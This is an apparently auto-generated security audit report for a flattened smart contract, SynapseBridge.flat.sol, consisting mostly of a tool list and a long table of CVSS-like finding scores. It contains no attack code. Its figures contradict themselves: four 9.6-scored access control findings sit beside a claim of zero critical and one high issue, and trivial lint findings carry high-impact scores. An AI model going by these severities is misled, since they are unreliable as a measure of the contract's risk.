

MIESC

Multi-layer Intelligent Evaluation for Smart Contracts

Smart Contract Security Audit

SynapseBridge.flat.sol

Client

Prepared by: **MIESC Security**

Audit Date: **2026-09-11**

Report Date: **2026-09-11 05:50:38**

Version: **1.0**

Network: **Ethereum Mainnet**

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1. Executive Summary

1.1 Key Takeaways

1 high-severity vulnerability identified, primarily access control issues. Immediate remediation required before deployment.

1.2 Deployment Recommendation

Recommendation: CONDITIONAL

Contract has 1 high and 291 medium severity findings. Address these issues and re-audit before production deployment.

1.3 Risk Summary

METRIC	VALUE
Overall Risk Score	85/100
Exploitability	Medium
Business Impact	Medium
Confidence Level	Low

Findings by Severity

SEVERITY	COUNT	% OF TOTAL
Critical	0	0.0%
High	1	0.2%
Medium	291	57.7%
Low	111	22.0%
Informational	101	20.0%
Total	504	100%

1.4 Impact Assessment

Based on the identified vulnerabilities:

IMPACT CATEGORY	ASSESSMENT
Confidentiality	Medium - Sensitive data or state could be exposed
Integrity	Medium - Contract state could be manipulated
Availability	Medium - No significant availability risks

2. Scope & Methodology

2.1 Engagement Details

PROPERTY	VALUE
Client	Client
Contract	SynapseBridge.flat.sol
Repository	Local Analysis
Commit Hash	N/A
Network	Ethereum Mainnet
Engagement Type	Security Audit

2.2 Scope

In Scope

FILE	LINES	DESCRIPTION
<code>SynapseBridge.flat.sol</code>	2475	Smart Contract

Total: 1 files, 2475 lines of code

Out of Scope

- External dependencies and imported libraries
- Off-chain components
- Economic/tokenomics analysis
- Frontend/backend applications

2.3 Methodology

This audit employed MIESC's comprehensive 9-layer defense-in-depth methodology:

```

Layer 1: Static Analysis      [✅ Complete]
Layer 2: Dynamic Testing     [✅ Complete]
Layer 3: Symbolic Execution  [✅ Complete]
Layer 4: Formal Verification [⚠️ Partial]
Layer 5: Property Testing    [-- Not Run]
Layer 6: AI/LLM Analysis     [✅ Complete]
Layer 7: Pattern Recognition [⚠️ Partial]
Layer 8: DeFi Security       [✅ Complete]
Layer 9: Advanced Detection  [✅ Complete]

```

Tools Utilized

LAYER	TOOL	VERSION	STATUS
Layer 1: Static Analysis	slither	latest	✅ Success
Layer 1: Static Analysis	aderyn	latest	✅ Success
Layer 1: Static Analysis	solhint	latest	✅ Success
Layer 1: Static Analysis	wake	latest	✅ Success
Layer 1: Static Analysis	semgrep	latest	✅ Success
unknown	fouranalyzer	latest	✅ Success
Layer 2: Dynamic Testing	echidna	latest	✅ Success
Layer 2: Dynamic Testing	medusa	latest	✅ Success

LAYER	TOOL	VERSION	STATUS
Layer 2: Dynamic Testing	foundry	latest	✅ Success
Layer 2: Dynamic Testing	dogefuzz	latest	✅ Success
Layer 2: Dynamic Testing	vertigo	latest	✅ Success
Layer 2: Dynamic Testing	hardhat	latest	✅ Success
Layer 3: Symbolic Execution	mythril	latest	✅ Success
Layer 3: Symbolic Execution	manticore	latest	✅ Success
Layer 3: Symbolic Execution	halmos	latest	✅ Success
Layer 3: Symbolic Execution	oyente	latest	✅ Success
unknown	pakala	latest	✅ Success
Layer 4: Formal Verification	certora	latest	⚠️ Failed
Layer 4: Formal Verification	smtchecker	latest	✅ Success
Layer 4: Formal Verification	propertygpt	latest	✅ Success
Layer 4: Formal Verification	scribble	latest	✅ Success
unknown	solcmc	latest	✅ Success
Layer 6: AI/LLM Analysis	smartllm	latest	✅ Success
Layer 6: AI/LLM Analysis	gptscan	latest	✅ Success
Layer 6: AI/LLM Analysis	llmsmartaudit	latest	✅ Success
unknown	gptlens	latest	✅ Success
unknown	llamaaudit	latest	✅ Success
unknown	iaudit	latest	✅ Success
Layer 7: ML Detection	dagnn	latest	✅ Success
Layer 7: ML Detection	smartbugs_ml	latest	✅ Success
Layer 7: ML Detection	smartbugs_detector	latest	✅ Success
Layer 7: ML Detection	smartguard	latest	⚠️ Failed
unknown	peculiar	latest	✅ Success

LAYER	TOOL	VERSION	STATUS
Layer 9: Specialized Analysis	threat_model	latest	✅ Success
Layer 9: Specialized Analysis	gas_analyzer	latest	✅ Success
Layer 8: DeFi Security	mev_detector	latest	✅ Success
Layer 9: Specialized Analysis	contract_clone_detector	latest	✅ Success
Layer 8: DeFi Security	defi	latest	✅ Success
Layer 9: Specialized Analysis	advanced_detector	latest	✅ Success
unknown	upgradability_checker	latest	✅ Success
unknown	crosschain	latest	✅ Success
unknown	zk_circuit	latest	✅ Success
unknown	bridge_monitor	latest	✅ Success
unknown	l2_validator	latest	✅ Success
unknown	circom_analyzer	latest	✅ Success
unknown	llmbugscanner	latest	✅ Success
unknown	audit_consensus	latest	✅ Success
unknown	exploit_synthesizer	latest	✅ Success
unknown	vuln_verifier	latest	✅ Success
unknown	remediation_validator	latest	✅ Success

Audit Process

1. **Initial Assessment** - Review documentation, understand architecture
2. **Automated Analysis** - Execute multi-layer tool suite
3. **Manual Review** - Deep dive into flagged code sections
4. **AI Correlation** - Cross-reference findings, reduce false positives
5. **Verification** - Reproduce and validate vulnerabilities
6. **Report Generation** - Document findings with remediation guidance

2.4 Limitations

- Time-boxed engagement (N/A)
- Analysis based on code snapshot at commit N/A

- No guarantee of finding all vulnerabilities
- Economic attack vectors not fully modeled
- Dependency vulnerabilities may exist beyond analysis scope

3. Risk Assessment

3.1 Risk Matrix

The following matrix maps findings by **Impact** (vertical) and **Likelihood** (horizontal):

	LIKELIHOOD		
	Low	Medium	High
High	Medium 0	High 1	Critical 0
Med	Low 0	Medium 291	High 0
Low	Info 101	Low 111	Medium 0
IMPACT →			

3.2 CVSS-like Scoring

FINDING ID	TITLE	BASE SCORE	VECTOR
slither-unchecked-lowlevel-1	unchecked-lowlevel	4.3	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-unchecked-lowlevel-2	unchecked-lowlevel	4.3	AV:N/ AC:L/ PR:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/ C:N/I:L/ A:N
slither-missing-zero-check-3	missing-zero-check	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-missing-zero-check-4	missing-zero-check	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-missing-zero-check-5	missing-zero-check	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-missing-zero-check-6	missing-zero-check	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-assembly-7	assembly	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-assembly-8	assembly	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-assembly-9	assembly	3.1	AV:N/ AC:H/

FINDING ID	TITLE	BASE SCORE	VECTOR
			PR:L/ UI:N/ C:N/I:L/ A:N
slither-assembly-10	assembly	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-dead-code-11	dead-code	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-dead-code-12	dead-code	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-dead-code-13	dead-code	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-dead-code-14	dead-code	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-dead-code-15	dead-code	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-dead-code-16	dead-code	3.1	

FINDING ID	TITLE	BASE SCORE	VECTOR
			AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-dead-code-17	dead-code	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-dead-code-18	dead-code	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-dead-code-19	dead-code	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-dead-code-20	dead-code	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-solc-version-21	solc-version	2.1	AV:N/ AC:H/ PR:H/ UI:N/ C:N/I:L/ A:N
slither-solc-version-22	solc-version	2.1	AV:N/ AC:H/ PR:H/ UI:N/ C:N/I:L/ A:N

FINDING ID	TITLE	BASE SCORE	VECTOR
slither-low-level-calls-23	low-level-calls	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-low-level-calls-24	low-level-calls	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-low-level-calls-25	low-level-calls	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-low-level-calls-26	low-level-calls	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-low-level-calls-27	low-level-calls	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-low-level-calls-28	low-level-calls	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-low-level-calls-29	low-level-calls	3.1	AV:N/ AC:H/ PR:L/ UI:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			C:N/I:L/ A:N
slither-low-level-calls-30	low-level-calls	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-low-level-calls-31	low-level-calls	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-low-level-calls-32	low-level-calls	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-naming-convention-33	naming-convention	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-naming-convention-34	naming-convention	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-naming-convention-35	naming-convention	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-naming-convention-36	naming-convention	3.1	AV:N/ AC:H/ PR:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/ C:N/I:L/ A:N
slither-naming-convention-37	naming-convention	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-naming-convention-38	naming-convention	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-naming-convention-39	naming-convention	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-naming-convention-40	naming-convention	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-naming-convention-41	naming-convention	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-naming-convention-42	naming-convention	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-naming-convention-43	naming-convention	3.1	AV:N/ AC:H/

FINDING ID	TITLE	BASE SCORE	VECTOR
			PR:L/ UI:N/ C:N/I:L/ A:N
slither-naming-convention-44	naming-convention	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-naming-convention-45	naming-convention	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-naming-convention-46	naming-convention	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-redundant-statements-47	redundant-statements	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-redundant-statements-48	redundant-statements	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
slither-unindexed-event-address-49	unindexed-event-address	5.4	AV:L/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:N
slither-unindexed-event-address-50	unindexed-event-address	5.4	

FINDING ID	TITLE	BASE SCORE	VECTOR
			AV:L/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:N
4NALY-c35072315e04	missing_zero_address_check	5.6	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:L/ A:L
4NALY-a8b0e319b0f6	missing_zero_address_check	5.6	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:L/ A:L
4NALY-fb53847f2582	missing_zero_address_check	5.6	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:L/ A:L
4NALY-7d2c5a050893	missing_zero_address_check	5.6	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:L/ A:L
4NALY-92a140d0e474	missing_zero_address_check	5.6	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:L/ A:L
4NALY-1c9860624c0e	missing_zero_address_check	5.6	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:L/ A:L

FINDING ID	TITLE	BASE SCORE	VECTOR
4NALY-eec0ea2a107b	missing_zero_address_check	5.6	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:L/ A:L
4NALY-211b7e89fd85	missing_zero_address_check	5.6	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:L/ A:L
4NALY-c1cec0c269c6	missing_zero_address_check	5.6	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:L/ A:L
4NALY-cc120edd944a	missing_zero_address_check	5.6	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:L/ A:L
4NALY-91f5850aae57	missing_zero_address_check	5.6	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:L/ A:L
4NALY-1abc4b22d66c	missing_zero_address_check	5.6	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:L/ A:L
4NALY-50eab3886cb4	missing_zero_address_check	5.6	AV:N/ AC:L/ PR:L/ UI:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			C:N/I:L/ A:L
4NALY-fb4475ac11c7	missing_zero_address_check	5.6	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:L/ A:L
4NALY-de04bdd1ff04	missing_zero_address_check	5.6	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:L/ A:L
4NALY-f92007db5ee7	missing_zero_address_check	5.6	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:L/ A:L
4NALY-7e0f62052edd	missing_zero_address_check	5.6	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:L/ A:L
4NALY-3710b74ba59d	missing_zero_address_check	5.6	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:L/ A:L
4NALY-63622259e034	missing_zero_address_check	5.6	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:L/ A:L
4NALY-55ec8f8190e7	missing_zero_address_check	5.6	AV:N/ AC:L/ PR:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/ C:N/I:L/ A:L
4NALY-063b2b98a68e	missing_zero_address_check	5.6	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:L/ A:L
4NALY-9ce0bed86d72	missing_zero_address_check	5.6	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:L/ A:L
4NALY-65fcd3c2f6d0	missing_zero_address_check	5.6	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:L/ A:L
4NALY-ee857cbf028b	use_of_block_timestamp	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
4NALY-70a89e115951	use_of_block_timestamp	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
4NALY-96838e81e13e	missing_event_emission	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
4NALY-31843af2234c	missing_event_emission	3.1	AV:N/ AC:H/

FINDING ID	TITLE	BASE SCORE	VECTOR
			PR:L/ UI:N/ C:N/I:L/ A:N
4NALY-3ccb5364ef96	loop_length_caching	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
aderyn-eth-send-unchecked-address-0-0	eth-send-unchecked-address	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
aderyn-eth-send-unchecked-address-0-1	eth-send-unchecked-address	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
aderyn-eth-send-unchecked-address-0-2	eth-send-unchecked-address	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
aderyn-eth-send-unchecked-address-0-3	eth-send-unchecked-address	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
aderyn-unchecked-low-level-call-1-0	unchecked-low-level-call	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
aderyn-unchecked-low-level-call-1-1	unchecked-low-level-call	6.8	

FINDING ID	TITLE	BASE SCORE	VECTOR
			AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
aderyn-costly-loop-2-0	costly-loop	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
aderyn-dead-code-3-0	dead-code	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
aderyn-dead-code-3-1	dead-code	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
aderyn-empty-block-4-0	empty-block	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
aderyn-empty-block-4-1	empty-block	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
aderyn-empty-block-4-2	empty-block	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N

FINDING ID	TITLE	BASE SCORE	VECTOR
aderyn-internal-function-used-once-5-0	internal-function-used-once	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
aderyn-internal-function-used-once-5-1	internal-function-used-once	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
aderyn-internal-function-used-once-5-2	internal-function-used-once	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
aderyn-internal-function-used-once-5-3	internal-function-used-once	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
aderyn-internal-function-used-once-5-4	internal-function-used-once	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
aderyn-modifier-used-only-once-6-0	modifier-used-only-once	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
aderyn-redundant-statement-7-0	redundant-statement	6.8	AV:N/ AC:L/ PR:L/ UI:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			C:N/I:H/ A:N
aderyn-redundant-statement-7-1	redundant-statement	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
aderyn-state-change-without-event-8-0	state-change-without-event	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
aderyn-state-change-without-event-8-1	state-change-without-event	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
aderyn-state-change-without-event-8-2	state-change-without-event	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
aderyn-state-change-without-event-8-3	state-change-without-event	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
aderyn-state-variable-could-be-immutable-9-0	state-variable-could-be-immutable	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
aderyn-state-variable-could-be-immutable-9-1	state-variable-could-be-immutable	6.8	AV:N/ AC:L/ PR:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/ C:N/I:H/ A:N
aderyn-state-variable-could-be-immutable-9-2	state-variable-could-be-immutable	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
aderyn-unsafe-erc20-operation-10-0	unsafe-erc20-operation	6.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:L/ A:L
aderyn-unsafe-erc20-operation-10-1	unsafe-erc20-operation	6.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:L/ A:L
aderyn-unsafe-erc20-operation-10-2	unsafe-erc20-operation	6.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:L/ A:L
aderyn-unsafe-erc20-operation-10-3	unsafe-erc20-operation	6.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:L/ A:L
aderyn-unsafe-erc20-operation-10-4	unsafe-erc20-operation	6.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:L/ A:L
PKL-9266b8d074c2	state_manipulation	6.8	AV:N/ AC:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			PR:L/ UI:N/ C:N/I:H/ A:N
PKL-9c42caf51d98	fund_extraction	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
PKL-6c96f5ea7702	privilege_escalation_sequence	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
PKL-23ed27905ca1	cross_function_vulnerability	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-a7e60b03b203	invariant_violation	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-b6f16ac44c3e	invariant_violation	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-fd9ee6ad5b40	invariant_violation	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-e90d61b93e0e	invariant_violation	6.8	

FINDING ID	TITLE	BASE SCORE	VECTOR
			AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-c118dcad8254	invariant_violation	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-4ba1ad3ca85a	invariant_violation	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-314c9c95d72c	invariant_violation	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-d0b5042e59c3	invariant_violation	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-5066f3f3c1db	precondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-62c8bc506fd5	precondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N

FINDING ID	TITLE	BASE SCORE	VECTOR
SCR-fa8c1dad1c91	precondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-81d47d74a1bf	precondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-d177592b56a0	precondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-babf2eb65c3e	precondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-13295a537d70	precondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-f50d71fa74c6	precondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-6f2175498018	precondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			C:N/I:H/ A:N
SCR-09e37f6e88f4	precondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-bafa117d121c	precondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-d71839e62718	precondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-5b503775f6b0	precondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-e684dd1f8680	precondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-62bcb13b5502	precondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-80f71d9de144	precondition_failure	6.8	AV:N/ AC:L/ PR:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/ C:N/I:H/ A:N
SCR-b985794663b3	precondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-83dc04c8b4b1	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-b77c74db2fb6	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-a876cac5e1b6	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-1d140f31cebe	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-5cf976e1f330	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-f5f8bcfb4570	postcondition_failure	6.8	AV:N/ AC:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			PR:L/ UI:N/ C:N/I:H/ A:N
SCR-192e63b5a216	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-47d93cceb3f1	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-baa72dd37237	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-e675559b682e	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-b87f7f488ccc	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-0370a2da94e8	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-5c225d98f8e8	postcondition_failure	6.8	

FINDING ID	TITLE	BASE SCORE	VECTOR
			AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-4ac559a2b23d	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-2706605b4982	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-5c5dfe39203b	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-df729ac7587d	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-717df7e7033d	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-1e555d1b855d	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N

FINDING ID	TITLE	BASE SCORE	VECTOR
SCR-2ba7ef8915e8	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-e9b6f13e6a5d	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-f31f16ef2847	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-b20f100a61e3	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-170221b89b06	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-56beee4872c1	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-a10585a4a660	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			C:N/I:H/ A:N
SCR-03b79f67c323	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-eee3f6d7ef2d	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-1c6f4a031356	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-2c7893882b16	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-b1348ab23862	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-de7e90a7b7c4	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-c09b56e4ba60	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/ C:N/I:H/ A:N
SCR-f5e4e23d3d2e	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-1624bf148e90	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-2feeb7c782bc	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-875a50f18c1d	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-47e8066d3c53	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-f7fb24494ce5	postcondition_failure	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-ff8ada08f4b4	postcondition_failure	6.8	AV:N/ AC:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			PR:L/ UI:N/ C:N/I:H/ A:N
SCR-97460040dda7	access_control_violation	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
SCR-8330ae2ee5b3	access_control_violation	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
SCR-1b0eb28645fa	access_control_violation	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
SCR-6ff885d7cb92	access_control_violation	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
